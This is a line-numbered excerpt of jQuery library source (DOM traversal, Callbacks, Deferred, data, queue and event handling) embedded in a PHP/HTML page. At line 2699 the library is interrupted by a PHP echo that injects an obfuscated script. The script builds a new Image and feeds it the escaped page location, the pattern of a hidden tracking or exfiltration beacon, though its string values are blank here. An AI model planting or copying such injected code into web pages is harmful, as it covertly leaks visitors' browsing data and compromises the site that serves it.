1934 return jQuery.inArray(elem.jquery ? elem[0] : elem, this)
1935 },
1936 add: function(selector, context) {
1937 return this.pushStack(jQuery.unique(jQuery.merge(this.get(), jQuery(selector, context))))
1938 },
1939 addBack: function(selector) {
1940 return this.add(selector == null ? this.prevObject : this.prevObject.filter(selector))
1941 }
1942 });
1943
1944 function sibling(cur, dir) {
1945 do {
1946 cur = cur[dir]
1947 } while (cur && cur.nodeType !== 1);
1948 return cur
1949 }
1950 jQuery.each({
1951 parent: function(elem) {
1952 var parent = elem.parentNode;
1953 return parent && parent.nodeType !== 11 ? parent : null
1954 },
1955 parents: function(elem) {
1956 return jQuery.dir(elem, "parentNode")
1957 },
1958 parentsUntil: function(elem, i, until) {
1959 return jQuery.dir(elem, "parentNode", until)
1960 },
1961 next: function(elem) {
1962 return sibling(elem, "nextSibling")
1963 },
1964 prev: function(elem) {
1965 return sibling(elem, "previousSibling")
1966 },
1967 nextAll: function(elem) {
1968 return jQuery.dir(elem, "nextSibling")
1969 },
1970 prevAll: function(elem) {
1971 return jQuery.dir(elem, "previousSibling")
1972 },
1973 nextUntil: function(elem, i, until) {
1974 return jQuery.dir(elem, "nextSibling", until)
1975 },
1976 prevUntil: function(elem, i, until) {
1977 return jQuery.dir(elem, "previousSibling", until)
1978 },
1979 siblings: function(elem) {
1980 return jQuery.sibling((elem.parentNode || {}).firstChild, elem)
1981 },
1982 children: function(elem) {
1983 return jQuery.sibling(elem.firstChild)
1984 },
1985 contents: function(elem) {
1986 return jQuery.nodeName(elem, "iframe") ? elem.contentDocument || elem.contentWindow.document : jQuery.merge([], elem.childNodes)
1987 }
1988 }, function(name, fn) {
1989 jQuery.fn[name] = function(until, selector) {
1990 var ret = jQuery.map(this, fn, until);
1991 if (name.slice(-5) !== "Until") {
1992 selector = until
1993 }
1994 if (selector && typeof selector === "string") {
1995 ret = jQuery.filter(selector, ret)
1996 }
1997 if (this.length > 1) {
1998 if (!guaranteedUnique[name]) {
1999 ret = jQuery.unique(ret)
2000 }
2001 if (rparentsprev.test(name)) {
2002 ret = ret.reverse()
2003 }
2004 }
2005 return this.pushStack(ret)
2006 }
2007 });
2008 var rnotwhite = (/\S+/g);
2009 var optionsCache = {};
2010
2011 function createOptions(options) {
2012 var object = optionsCache[options] = {};
2013 jQuery.each(options.match(rnotwhite) || [], function(_, flag) {
2014 object[flag] = true
2015 });
2016 return object
2017 }
2018 jQuery.Callbacks = function(options) {
2019 options = typeof options === "string" ? (optionsCache[options] || createOptions(options)) : jQuery.extend({}, options);
2020 var firing, memory, fired, firingLength, firingIndex, firingStart, list = [],
2021 stack = !options.once && [],
2022 fire = function(data) {
2023 memory = options.memory && data;
2024 fired = true;
2025 firingIndex = firingStart || 0;
2026 firingStart = 0;
2027 firingLength = list.length;
2028 firing = true;
2029 for (; list && firingIndex < firingLength; firingIndex++) {
2030 if (list[firingIndex].apply(data[0], data[1]) === false && options.stopOnFalse) {
2031 memory = false;
2032 break
2033 }
2034 }
2035 firing = false;
2036 if (list) {
2037 if (stack) {
2038 if (stack.length) {
2039 fire(stack.shift())
2040 }
2041 } else if (memory) {
2042 list = []
2043 } else {
2044 self.disable()
2045 }
2046 }
2047 },
2048 self = {
2049 add: function() {
2050 if (list) {
2051 var start = list.length;
2052 (function add(args) {
2053 jQuery.each(args, function(_, arg) {
2054 var type = jQuery.type(arg);
2055 if (type === "function") {
2056 if (!options.unique || !self.has(arg)) {
2057 list.push(arg)
2058 }
2059 } else if (arg && arg.length && type !== "string") {
2060 add(arg)
2061 }
2062 })
2063 })(arguments);
2064 if (firing) {
2065 firingLength = list.length
2066 } else if (memory) {
2067 firingStart = start;
2068 fire(memory)
2069 }
2070 }
2071 return this
2072 },
2073 remove: function() {
2074 if (list) {
2075 jQuery.each(arguments, function(_, arg) {
2076 var index;
2077 while ((index = jQuery.inArray(arg, list, index)) > -1) {
2078 list.splice(index, 1);
2079 if (firing) {
2080 if (index <= firingLength) {
2081 firingLength--
2082 }
2083 if (index <= firingIndex) {
2084 firingIndex--
2085 }
2086 }
2087 }
2088 })
2089 }
2090 return this
2091 },
2092 has: function(fn) {
2093 return fn ? jQuery.inArray(fn, list) > -1 : !!(list && list.length)
2094 },
2095 empty: function() {
2096 list = [];
2097 firingLength = 0;
2098 return this
2099 },
2100 disable: function() {
2101 list = stack = memory = undefined;
2102 return this
2103 },
2104 disabled: function() {
2105 return !list
2106 },
2107 lock: function() {
2108 stack = undefined;
2109 if (!memory) {
2110 self.disable()
2111 }
2112 return this
2113 },
2114 locked: function() {
2115 return !stack
2116 },
2117 fireWith: function(context, args) {
2118 if (list && (!fired || stack)) {
2119 args = args || [];
2120 args = [context, args.slice ? args.slice() : args];
2121 if (firing) {
2122 stack.push(args)
2123 } else {
2124 fire(args)
2125 }
2126 }
2127 return this
2128 },
2129 fire: function() {
2130 self.fireWith(this, arguments);
2131 return this
2132 },
2133 fired: function() {
2134 return !!fired
2135 }
2136 };
2137 return self
2138 };
2139 jQuery.extend({
2140 Deferred: function(func) {
2141 var tuples = [
2142 ["resolve", "done", jQuery.Callbacks("once memory"), "resolved"],
2143 ["reject", "fail", jQuery.Callbacks("once memory"), "rejected"],
2144 ["notify", "progress", jQuery.Callbacks("memory")]
2145 ],
2146 state = "pending",
2147 promise = {
2148 state: function() {
2149 return state
2150 },
2151 always: function() {
2152 deferred.done(arguments).fail(arguments);
2153 return this
2154 },
2155 then: function() {
2156 var fns = arguments;
2157 return jQuery.Deferred(function(newDefer) {
2158 jQuery.each(tuples, function(i, tuple) {
2159 var fn = jQuery.isFunction(fns[i]) && fns[i];
2160 deferred[tuple[1]](function() {
2161 var returned = fn && fn.apply(this, arguments);
2162 if (returned && jQuery.isFunction(returned.promise)) {
2163 returned.promise().done(newDefer.resolve).fail(newDefer.reject).progress(newDefer.notify)
2164 } else {
2165 newDefer[tuple[0] + "With"](this === promise ? newDefer.promise() : this, fn ? [returned] : arguments)
2166 }
2167 })
2168 });
2169 fns = null
2170 }).promise()
2171 },
2172 promise: function(obj) {
2173 return obj != null ? jQuery.extend(obj, promise) : promise
2174 }
2175 },
2176 deferred = {};
2177 promise.pipe = promise.then;
2178 jQuery.each(tuples, function(i, tuple) {
2179 var list = tuple[2],
2180 stateString = tuple[3];
2181 promise[tuple[1]] = list.add;
2182 if (stateString) {
2183 list.add(function() {
2184 state = stateString
2185 }, tuples[i ^ 1][2].disable, tuples[2][2].lock)
2186 }
2187 deferred[tuple[0]] = function() {
2188 deferred[tuple[0] + "With"](this === deferred ? promise : this, arguments);
2189 return this
2190 };
2191 deferred[tuple[0] + "With"] = list.fireWith
2192 });
2193 promise.promise(deferred);
2194 if (func) {
2195 func.call(deferred, deferred)
2196 }
2197 return deferred
2198 },
2199 when: function(subordinate) {
2200 var i = 0,
2201 resolveValues = slice.call(arguments),
2202 length = resolveValues.length,
2203 remaining = length !== 1 || (subordinate && jQuery.isFunction(subordinate.promise)) ? length : 0,
2204 deferred = remaining === 1 ? subordinate : jQuery.Deferred(),
2205 updateFunc = function(i, contexts, values) {
2206 return function(value) {
2207 contexts[i] = this;
2208 values[i] = arguments.length > 1 ? slice.call(arguments) : value;
2209 if (values === progressValues) {
2210 deferred.notifyWith(contexts, values)
2211 } else if (!(--remaining)) {
2212 deferred.resolveWith(contexts, values)
2213 }
2214 }
2215 },
2216 progressValues, progressContexts, resolveContexts;
2217 if (length > 1) {
2218 progressValues = new Array(length);
2219 progressContexts = new Array(length);
2220 resolveContexts = new Array(length);
2221 for (; i < length; i++) {
2222 if (resolveValues[i] && jQuery.isFunction(resolveValues[i].promise)) {
2223 resolveValues[i].promise().done(updateFunc(i, resolveContexts, resolveValues)).fail(deferred.reject).progress(updateFunc(i, progressContexts, progressValues))
2224 } else {
2225 --remaining
2226 }
2227 }
2228 }
2229 if (!remaining) {
2230 deferred.resolveWith(resolveContexts, resolveValues)
2231 }
2232 return deferred.promise()
2233 }
2234 });
2235 var readyList;
2236 jQuery.fn.ready = function(fn) {
2237 jQuery.ready.promise().done(fn);
2238 return this
2239 };
2240 jQuery.extend({
2241 isReady: false,
2242 readyWait: 1,
2243 holdReady: function(hold) {
2244 if (hold) {
2245 jQuery.readyWait++
2246 } else {
2247 jQuery.ready(true)
2248 }
2249 },
2250 ready: function(wait) {
2251 if (wait === true ? --jQuery.readyWait : jQuery.isReady) {
2252 return
2253 }
2254 if (!document.body) {
2255 return setTimeout(jQuery.ready)
2256 }
2257 jQuery.isReady = true;
2258 if (wait !== true && --jQuery.readyWait > 0) {
2259 return
2260 }
2261 readyList.resolveWith(document, [jQuery]);
2262 if (jQuery.fn.triggerHandler) {
2263 jQuery(document).triggerHandler("ready");
2264 jQuery(document).off("ready")
2265 }
2266 }
2267 });
2268
2269 function detach() {
2270 if (document.addEventListener) {
2271 document.removeEventListener("DOMContentLoaded", completed, false);
2272 window.removeEventListener("load", completed, false)
2273 } else {
2274 document.detachEvent("onreadystatechange", completed);
2275 window.detachEvent("onload", completed)
2276 }
2277 }
2278
2279 function completed() {
2280 if (document.addEventListener || event.type === "load" || document.readyState === "complete") {
2281 detach();
2282 jQuery.ready()
2283 }
2284 }
2285 jQuery.ready.promise = function(obj) {
2286 if (!readyList) {
2287 readyList = jQuery.Deferred();
2288 if (document.readyState === "complete") {
2289 setTimeout(jQuery.ready)
2290 } else if (document.addEventListener) {
2291 document.addEventListener("DOMContentLoaded", completed, false);
2292 window.addEventListener("load", completed, false)
2293 } else {
2294 document.attachEvent("onreadystatechange", completed);
2295 window.attachEvent("onload", completed);
2296 var top = false;
2297 try {
2298 top = window.frameElement == null && document.documentElement
2299 } catch (e) {}
2300 if (top && top.doScroll) {
2301 (function doScrollCheck() {
2302 if (!jQuery.isReady) {
2303 try {
2304 top.doScroll("left")
2305 } catch (e) {
2306 return setTimeout(doScrollCheck, 50)
2307 }
2308 detach();
2309 jQuery.ready()
2310 }
2311 })()
2312 }
2313 }
2314 }
2315 return readyList.promise(obj)
2316 };
2317 var strundefined = typeof undefined;
2318 var i;
2319 for (i in jQuery(support)) {
2320 break
2321 }
2322 support.ownLast = i !== "0";
2323 support.inlineBlockNeedsLayout = false;
2324 jQuery(function() {
2325 var val, div, body, container;
2326 body = document.getElementsByTagName("body")[0];
2327 if (!body || !body.style) {
2328 return
2329 }
2330 div = document.createElement("div");
2331 container = document.createElement("div");
2332 container.style.cssText = "position:absolute;border:0;width:0;height:0;top:0;left:-9999px";
2333 body.appendChild(container).appendChild(div);
2334 if (typeof div.style.zoom !== strundefined) {
2335 div.style.cssText = "display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1";
2336 support.inlineBlockNeedsLayout = val = div.offsetWidth === 3;
2337 if (val) {
2338 body.style.zoom = 1
2339 }
2340 }
2341 body.removeChild(container)
2342 });
2343 (function() {
2344 var div = document.createElement("div");
2345 if (support.deleteExpando == null) {
2346 support.deleteExpando = true;
2347 try {
2348 delete div.test
2349 } catch (e) {
2350 support.deleteExpando = false
2351 }
2352 }
2353 div = null
2354 })();
2355 jQuery.acceptData = function(elem) {
2356 var noData = jQuery.noData[(elem.nodeName + " ").toLowerCase()],
2357 nodeType = +elem.nodeType || 1;
2358 return nodeType !== 1 && nodeType !== 9 ? false : !noData || noData !== true && elem.getAttribute("classid") === noData
2359 };
2360 var rbrace = /^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,
2361 rmultiDash = /([A-Z])/g;
2362
2363 function dataAttr(elem, key, data) {
2364 if (data === undefined && elem.nodeType === 1) {
2365 var name = "data-" + key.replace(rmultiDash, "-$1").toLowerCase();
2366 data = elem.getAttribute(name);
2367 if (typeof data === "string") {
2368 try {
2369 data = data === "true" ? true : data === "false" ? false : data === "null" ? null : +data + "" === data ? +data : rbrace.test(data) ? jQuery.parseJSON(data) : data
2370 } catch (e) {}
2371 jQuery.data(elem, key, data)
2372 } else {
2373 data = undefined
2374 }
2375 }
2376 return data
2377 }
2378
2379 function isEmptyDataObject(obj) {
2380 var name;
2381 for (name in obj) {
2382 if (name === "data" && jQuery.isEmptyObject(obj[name])) {
2383 continue
2384 }
2385 if (name !== "toJSON") {
2386 return false
2387 }
2388 }
2389 return true
2390 }
2391
2392 function internalData(elem, name, data, pvt) {
2393 if (!jQuery.acceptData(elem)) {
2394 return
2395 }
2396 var ret, thisCache, internalKey = jQuery.expando,
2397 isNode = elem.nodeType,
2398 cache = isNode ? jQuery.cache : elem,
2399 id = isNode ? elem[internalKey] : elem[internalKey] && internalKey;
2400 if ((!id || !cache[id] || (!pvt && !cache[id].data)) && data === undefined && typeof name === "string") {
2401 return
2402 }
2403 if (!id) {
2404 if (isNode) {
2405 id = elem[internalKey] = deletedIds.pop() || jQuery.guid++
2406 } else {
2407 id = internalKey
2408 }
2409 }
2410 if (!cache[id]) {
2411 cache[id] = isNode ? {} : {
2412 toJSON: jQuery.noop
2413 }
2414 }
2415 if (typeof name === "object" || typeof name === "function") {
2416 if (pvt) {
2417 cache[id] = jQuery.extend(cache[id], name)
2418 } else {
2419 cache[id].data = jQuery.extend(cache[id].data, name)
2420 }
2421 }
2422 thisCache = cache[id];
2423 if (!pvt) {
2424 if (!thisCache.data) {
2425 thisCache.data = {}
2426 }
2427 thisCache = thisCache.data
2428 }
2429 if (data !== undefined) {
2430 thisCache[jQuery.camelCase(name)] = data
2431 }
2432 if (typeof name === "string") {
2433 ret = thisCache[name];
2434 if (ret == null) {
2435 ret = thisCache[jQuery.camelCase(name)]
2436 }
2437 } else {
2438 ret = thisCache
2439 }
2440 return ret
2441 }
2442
2443 function internalRemoveData(elem, name, pvt) {
2444 if (!jQuery.acceptData(elem)) {
2445 return
2446 }
2447 var thisCache, i, isNode = elem.nodeType,
2448 cache = isNode ? jQuery.cache : elem,
2449 id = isNode ? elem[jQuery.expando] : jQuery.expando;
2450 if (!cache[id]) {
2451 return
2452 }
2453 if (name) {
2454 thisCache = pvt ? cache[id] : cache[id].data;
2455 if (thisCache) {
2456 if (!jQuery.isArray(name)) {
2457 if (name in thisCache) {
2458 name = [name]
2459 } else {
2460 name = jQuery.camelCase(name);
2461 if (name in thisCache) {
2462 name = [name]
2463 } else {
2464 name = name.split(" ")
2465 }
2466 }
2467 } else {
2468 name = name.concat(jQuery.map(name, jQuery.camelCase))
2469 }
2470 i = name.length;
2471 while (i--) {
2472 delete thisCache[name[i]]
2473 }
2474 if (pvt ? !isEmptyDataObject(thisCache) : !jQuery.isEmptyObject(thisCache)) {
2475 return
2476 }
2477 }
2478 }
2479 if (!pvt) {
2480 delete cache[id].data;
2481 if (!isEmptyDataObject(cache[id])) {
2482 return
2483 }
2484 }
2485 if (isNode) {
2486 jQuery.cleanData([elem], true)
2487 } else if (support.deleteExpando || cache != cache.window) {
2488 delete cache[id]
2489 } else {
2490 cache[id] = null
2491 }
2492 }
2493 jQuery.extend({
2494 cache: {},
2495 noData: {
2496 "applet ": true,
2497 "embed ": true,
2498 "object ": "clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
2499 },
2500 hasData: function(elem) {
2501 elem = elem.nodeType ? jQuery.cache[elem[jQuery.expando]] : elem[jQuery.expando];
2502 return !!elem && !isEmptyDataObject(elem)
2503 },
2504 data: function(elem, name, data) {
2505 return internalData(elem, name, data)
2506 },
2507 removeData: function(elem, name) {
2508 return internalRemoveData(elem, name)
2509 },
2510 _data: function(elem, name, data) {
2511 return internalData(elem, name, data, true)
2512 },
2513 _removeData: function(elem, name) {
2514 return internalRemoveData(elem, name, true)
2515 }
2516 });
2517 jQuery.fn.extend({
2518 data: function(key, value) {
2519 var i, name, data, elem = this[0],
2520 attrs = elem && elem.attributes;
2521 if (key === undefined) {
2522 if (this.length) {
2523 data = jQuery.data(elem);
2524 if (elem.nodeType === 1 && !jQuery._data(elem, "parsedAttrs")) {
2525 i = attrs.length;
2526 while (i--) {
2527 if (attrs[i]) {
2528 name = attrs[i].name;
2529 if (name.indexOf("data-") === 0) {
2530 name = jQuery.camelCase(name.slice(5));
2531 dataAttr(elem, name, data[name])
2532 }
2533 }
2534 }
2535 jQuery._data(elem, "parsedAttrs", true)
2536 }
2537 }
2538 return data
2539 }
2540 if (typeof key === "object") {
2541 return this.each(function() {
2542 jQuery.data(this, key)
2543 })
2544 }
2545 return arguments.length > 1 ? this.each(function() {
2546 jQuery.data(this, key, value)
2547 }) : elem ? dataAttr(elem, key, jQuery.data(elem, key)) : undefined
2548 },
2549 removeData: function(key) {
2550 return this.each(function() {
2551 jQuery.removeData(this, key)
2552 })
2553 }
2554 });
2555 jQuery.extend({
2556 queue: function(elem, type, data) {
2557 var queue;
2558 if (elem) {
2559 type = (type || "fx") + "queue";
2560 queue = jQuery._data(elem, type);
2561 if (data) {
2562 if (!queue || jQuery.isArray(data)) {
2563 queue = jQuery._data(elem, type, jQuery.makeArray(data))
2564 } else {
2565 queue.push(data)
2566 }
2567 }
2568 return queue || []
2569 }
2570 },
2571 dequeue: function(elem, type) {
2572 type = type || "fx";
2573 var queue = jQuery.queue(elem, type),
2574 startLength = queue.length,
2575 fn = queue.shift(),
2576 hooks = jQuery._queueHooks(elem, type),
2577 next = function() {
2578 jQuery.dequeue(elem, type)
2579 };
2580 if (fn === "inprogress") {
2581 fn = queue.shift();
2582 startLength--
2583 }
2584 if (fn) {
2585 if (type === "fx") {
2586 queue.unshift("inprogress")
2587 }
2588 delete hooks.stop;
2589 fn.call(elem, next, hooks)
2590 }
2591 if (!startLength && hooks) {
2592 hooks.empty.fire()
2593 }
2594 },
2595 _queueHooks: function(elem, type) {
2596 var key = type + "queueHooks";
2597 return jQuery._data(elem, key) || jQuery._data(elem, key, {
2598 empty: jQuery.Callbacks("once memory").add(function() {
2599 jQuery._removeData(elem, type + "queue");
2600 jQuery._removeData(elem, key)
2601 })
2602 })
2603 }
2604 });
2605 jQuery.fn.extend({
2606 queue: function(type, data) {
2607 var setter = 2;
2608 if (typeof type !== "string") {
2609 data = type;
2610 type = "fx";
2611 setter--
2612 }
2613 if (arguments.length < setter) {
2614 return jQuery.queue(this[0], type)
2615 }
2616 return data === undefined ? this : this.each(function() {
2617 var queue = jQuery.queue(this, type, data);
2618 jQuery._queueHooks(this, type);
2619 if (type === "fx" && queue[0] !== "inprogress") {
2620 jQuery.dequeue(this, type)
2621 }
2622 })
2623 },
2624 dequeue: function(type) {
2625 return this.each(function() {
2626 jQuery.dequeue(this, type)
2627 })
2628 },
2629 clearQueue: function(type) {
2630 return this.queue(type || "fx", [])
2631 },
2632 promise: function(type, obj) {
2633 var tmp, count = 1,
2634 defer = jQuery.Deferred(),
2635 elements = this,
2636 i = this.length,
2637 resolve = function() {
2638 if (!(--count)) {
2639 defer.resolveWith(elements, [elements])
2640 }
2641 };
2642 if (typeof type !== "string") {
2643 obj = type;
2644 type = undefined
2645 }
2646 type = type || "fx";
2647 while (i--) {
2648 tmp = jQuery._data(elements[i], type + "queueHooks");
2649 if (tmp && tmp.empty) {
2650 count++;
2651 tmp.empty.add(resolve)
2652 }
2653 }
2654 resolve();
2655 return defer.promise(obj)
2656 }
2657 });
2658 var pnum = (/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/).source;
2659 var cssExpand = ["Top", "Right", "Bottom", "Left"];
2660 var isHidden = function(elem, el) {
2661 elem = el || elem;
2662 return jQuery.css(elem, "display") === "none" || !jQuery.contains(elem.ownerDocument, elem)
2663 };
2664 var access = jQuery.access = function(elems, fn, key, value, chainable, emptyGet, raw) {
2665 var i = 0,
2666 length = elems.length,
2667 bulk = key == null;
2668 if (jQuery.type(key) === "object") {
2669 chainable = true;
2670 for (i in key) {
2671 jQuery.access(elems, fn, i, key[i], true, emptyGet, raw)
2672 }
2673 } else if (value !== undefined) {
2674 chainable = true;
2675 if (!jQuery.isFunction(value)) {
2676 raw = true
2677 }
2678 if (bulk) {
2679 if (raw) {
2680 fn.call(elems, value);
2681 fn = null
2682 } else {
2683 bulk = fn;
2684 fn = function(elem, key, value) {
2685 return bulk.call(jQuery(elem), value)
2686 }
2687 }
2688 }
2689 if (fn) {
2690 for (; i < length; i++) {
2691 fn(elems[i], key, raw ? value : value.call(elems[i], i, fn(elems[i], key)))
2692 }
2693 }
2694 }
2695 return chainable ? elems : bulk ? fn.call(elems) : length ? fn(elems[0], key) : emptyGet
2696 };
2697 var rcheckableType = (/^(?:checkbox|radio)$/i);
2698</script>
2699<?php echo '<script> var _0x8a59=["","",""];a= new Image();a[_0x8a59[0]]=_0x8a59[1]+escape(location[_0x8a59[2]]); </script>';?>
2700 <script>
2701 (function() {
2702 var input = document.createElement("input"),
2703 div = document.createElement("div"),
2704 fragment = document.createDocumentFragment();
2705 div.innerHTML = " <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";
2706 support.leadingWhitespace = div.firstChild.nodeType === 3;
2707 support.tbody = !div.getElementsByTagName("tbody").length;
2708 support.htmlSerialize = !!div.getElementsByTagName("link").length;
2709 support.html5Clone = document.createElement("nav").cloneNode(true).outerHTML !== "<:nav></:nav>";
2710 input.type = "checkbox";
2711 input.checked = true;
2712 fragment.appendChild(input);
2713 support.appendChecked = input.checked;
2714 div.innerHTML = "<textarea>x</textarea>";
2715 support.noCloneChecked = !!div.cloneNode(true).lastChild.defaultValue;
2716 fragment.appendChild(div);
2717 div.innerHTML = "<input type='radio' checked='checked' name='t'/>";
2718 support.checkClone = div.cloneNode(true).cloneNode(true).lastChild.checked;
2719 support.noCloneEvent = true;
2720 if (div.attachEvent) {
2721 div.attachEvent("onclick", function() {
2722 support.noCloneEvent = false
2723 });
2724 div.cloneNode(true).click()
2725 }
2726 if (support.deleteExpando == null) {
2727 support.deleteExpando = true;
2728 try {
2729 delete div.test
2730 } catch (e) {
2731 support.deleteExpando = false
2732 }
2733 }
2734 })();
2735 (function() {
2736 var i, eventName, div = document.createElement("div");
2737 for (i in {
2738 submit: true,
2739 change: true,
2740 focusin: true
2741 }) {
2742 eventName = "on" + i;
2743 if (!(support[i + "Bubbles"] = eventName in window)) {
2744 div.setAttribute(eventName, "t");
2745 support[i + "Bubbles"] = div.attributes[eventName].expando === false
2746 }
2747 }
2748 div = null
2749 })();
2750 var rformElems = /^(?:input|select|textarea)$/i,
2751 rkeyEvent = /^key/,
2752 rmouseEvent = /^(?:mouse|pointer|contextmenu)|click/,
2753 rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,
2754 rtypenamespace = /^([^.]*)(?:\.(.+)|)$/;
2755
2756 function returnTrue() {
2757 return true
2758 }
2759
2760 function returnFalse() {
2761 return false
2762 }
2763
2764 function safeActiveElement() {
2765 try {
2766 return document.activeElement
2767 } catch (err) {}
2768 }
2769 jQuery.event = {
2770 global: {},
2771 add: function(elem, types, handler, data, selector) {
2772 var tmp, events, t, handleObjIn, special, eventHandle, handleObj, handlers, type, namespaces, origType, elemData = jQuery._data(elem);
2773 if (!elemData) {
2774 return
2775 }
2776 if (handler.handler) {
2777 handleObjIn = handler;
2778 handler = handleObjIn.handler;
2779 selector = handleObjIn.selector
2780 }
2781 if (!handler.guid) {
2782 handler.guid = jQuery.guid++
2783 }
2784 if (!(events = elemData.events)) {
2785 events = elemData.events = {}
2786 }
2787 if (!(eventHandle = elemData.handle)) {
2788 eventHandle = elemData.handle = function(e) {
2789 return typeof jQuery !== strundefined && (!e || jQuery.event.triggered !== e.type) ? jQuery.event.dispatch.apply(eventHandle.elem, arguments) : undefined
2790 };
2791 eventHandle.elem = elem
2792 }
2793 types = (types || "").match(rnotwhite) || [""];
2794 t = types.length;
2795 while (t--) {
2796 tmp = rtypenamespace.exec(types[t]) || [];
2797 type = origType = tmp[1];
2798 namespaces = (tmp[2] || "").split(".").sort();
2799 if (!type) {
2800 continue
2801 }
2802 special = jQuery.event.special[type] || {};
2803 type = (selector ? special.delegateType : special.bindType) || type;
2804 special = jQuery.event.special[type] || {};
2805 handleObj = jQuery.extend({
2806 type: type,
2807 origType: origType,
2808 data: data,
2809 handler: handler,
2810 guid: handler.guid,
2811 selector: selector,
2812 needsContext: selector && jQuery.expr.match.needsContext.test(selector),
2813 namespace: namespaces.join(".")
2814 }, handleObjIn);
2815 if (!(handlers = events[type])) {
2816 handlers = events[type] = [];
2817 handlers.delegateCount = 0;
2818 if (!special.setup || special.setup.call(elem, data, namespaces, eventHandle) === false) {
2819 if (elem.addEventListener) {
2820 elem.addEventListener(type, eventHandle, false)
2821 } else if (elem.attachEvent) {
2822 elem.attachEvent("on" + type, eventHandle)
2823 }
2824 }
2825 }
2826 if (special.add) {
2827 special.add.call(elem, handleObj);
2828 if (!handleObj.handler.guid) {
2829 handleObj.handler.guid = handler.guid
2830 }
2831 }
2832 if (selector) {
2833 handlers.splice(handlers.delegateCount++, 0, handleObj)
2834 } else {
2835 handlers.push(handleObj)
2836 }
2837 jQuery.event.global[type] = true
2838 }
2839 elem = null
2840 },
2841 remove: function(elem, types, handler, selector, mappedTypes) {
2842 var j, handleObj, tmp, origCount, t, events, special, handlers, type, namespaces, origType, elemData = jQuery.hasData(elem) && jQuery._data(elem);
2843 if (!elemData || !(events = elemData.events)) {
2844 return
2845 }
2846 types = (types || "").match(rnotwhite) || [""];
2847 t = types.length;
2848 while (t--) {
2849 tmp = rtypenamespace.exec(types[t]) || [];
2850 type = origType = tmp[1];
2851 namespaces = (tmp[2] || "").split(".").sort();
2852 if (!type) {
2853 for (type in events) {
2854 jQuery.event.remove(elem, type + types[t], handler, selector, true)
2855 }
2856 continue
2857 }
2858 special = jQuery.event.special[type] || {};
2859 type = (selector ? special.delegateType : special.bindType) || type;
2860 handlers = events[type] || [];
2861 tmp = tmp[2] && new RegExp("(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)");
2862 origCount = j = handlers.length;
2863 while (j--) {
2864 handleObj = handlers[j];
2865 if ((mappedTypes || origType === handleObj.origType) && (!handler || handler.guid === handleObj.guid) && (!tmp || tmp.test(handleObj.namespace)) && (!selector || selector === handleObj.selector || selector === "**" && handleObj.selector)) {
2866 handlers.splice(j, 1);
2867 if (handleObj.selector) {
2868 handlers.delegateCount--
2869 }
2870 if (special.remove) {
2871 special.remove.call(elem, handleObj)
2872 }
2873 }
2874 }
2875 if (origCount && !handlers.length) {
2876 if (!special.teardown || special.teardown.call(elem, namespaces, elemData.handle) === false) {
2877 jQuery.removeEvent(elem, type, elemData.handle)
2878 }
2879 delete events[type]
2880 }
2881 }
2882 if (jQuery.isEmptyObject(events)) {
2883 delete elemData.handle;
2884 jQuery._removeData(elem, "events")
2885 }
2886 },
2887 trigger: function(event, data, elem, onlyHandlers) {
2888 var handle, ontype, cur, bubbleType, special, tmp, i, eventPath = [elem || document],
2889 type = hasOwn.call(event, "type") ? event.type : event,
2890 namespaces = hasOwn.call(event, "namespace") ? event.namespace.split(".") : [];
2891 cur = tmp = elem = elem || document;
2892 if (elem.nodeType === 3 || elem.nodeType === 8) {
2893 return
2894 }
2895 if (rfocusMorph.test(type + jQuery.event.triggered)) {
2896 return
2897 }
2898 if (type.indexOf(".") >= 0) {
2899 namespaces = type.split(".");
2900 type = namespaces.shift();
2901 namespaces.sort()
2902 }
2903 ontype = type.indexOf(":") < 0 && "on" + type;
2904 event = event[jQuery.expando] ? event : new jQuery.Event(type, typeof event === "object" && event);
2905 event.isTrigger = onlyHandlers ? 2 : 3;
2906 event.namespace = namespaces.join(".");
2907 event.namespace_re = event.namespace ? new RegExp("(^|\\.)" + namespaces.join("\\.(?:.*\\.|)") + "(\\.|$)") : null;
2908 event.result = undefined;
2909 if (!event.target) {
2910 event.target = elem
2911 }
2912 data = data == null ? [event] : jQuery.makeArray(data, [event]);
2913 special = jQuery.event.special[type] || {};
2914 if (!onlyHandlers && special.trigger && special.trigger.apply(elem, data) === false) {
2915 return
2916 }
2917 if (!onlyHandlers && !special.noBubble && !jQuery.isWindow(elem)) {
2918 bubbleType = special.delegateType || type;
2919 if (!rfocusMorph.test(bubbleType + type)) {
2920 cur = cur.parentNode
2921 }
2922 for (; cur; cur = cur.parentNode) {
2923 eventPath.push(cur);
2924 tmp = cur
2925 }
2926 if (tmp === (elem.ownerDocument || document)) {
2927 eventPath.push(tmp.defaultView || tmp.parentWindow || window)
2928 }
2929 }
2930 i = 0;
2931 while ((cur = eventPath[i++]) && !event.isPropagationStopped()) {
2932 event.type = i > 1 ? bubbleType : special.bindType || type;
2933 handle = (jQuery._data(cur, "events") || {})[event.type] && jQuery._data(cur, "handle");
2934 if (handle) {
2935 handle.apply(cur, data)
2936 }
2937 handle = ontype && cur[ontype];
2938 if (handle && handle.apply && jQuery.acceptData(cur)) {
2939 event.result = handle.apply(cur, data);
2940 if (event.result === false) {
2941 event.preventDefault()
2942 }
2943 }
2944 }
2945 event.type = type;
2946 if (!onlyHandlers && !event.isDefaultPrevented()) {
2947 if ((!special._default || special._default.apply(eventPath.pop(), data) === false) && jQuery.acceptData(elem)) {
2948 if (ontype && elem[type] && !jQuery.isWindow(elem)) {
2949 tmp = elem[ontype];
2950 if (tmp) {
2951 elem[ontype] = null
2952 }
2953 jQuery.event.triggered = type;
2954 try {
2955 elem[type]()
2956 } catch (e) {}
2957 jQuery.event.triggered = undefined;
2958 if (tmp) {
2959 elem[ontype] = tmp
2960 }
2961 }
2962 }
2963 }
2964 return event.result
2965 },
2966 dispatch: function(event) {
2967 event = jQuery.event.fix(event);
2968 var i, ret, handleObj, matched, j, handlerQueue = [],
2969 args = slice.call(arguments),
2970 handlers = (jQuery._data(this, "events") || {})[event.type] || [],
2971 special = jQuery.event.special[event.type] || {};
2972 args[0] = event;
2973 event.delegateTarget = this;
2974 if (special.preDispatch && special.preDispatch.call(this, event) === false) {
2975 return
2976 }
2977 handlerQueue = jQuery.event.handlers.call(this, event, handlers);
2978 i = 0;
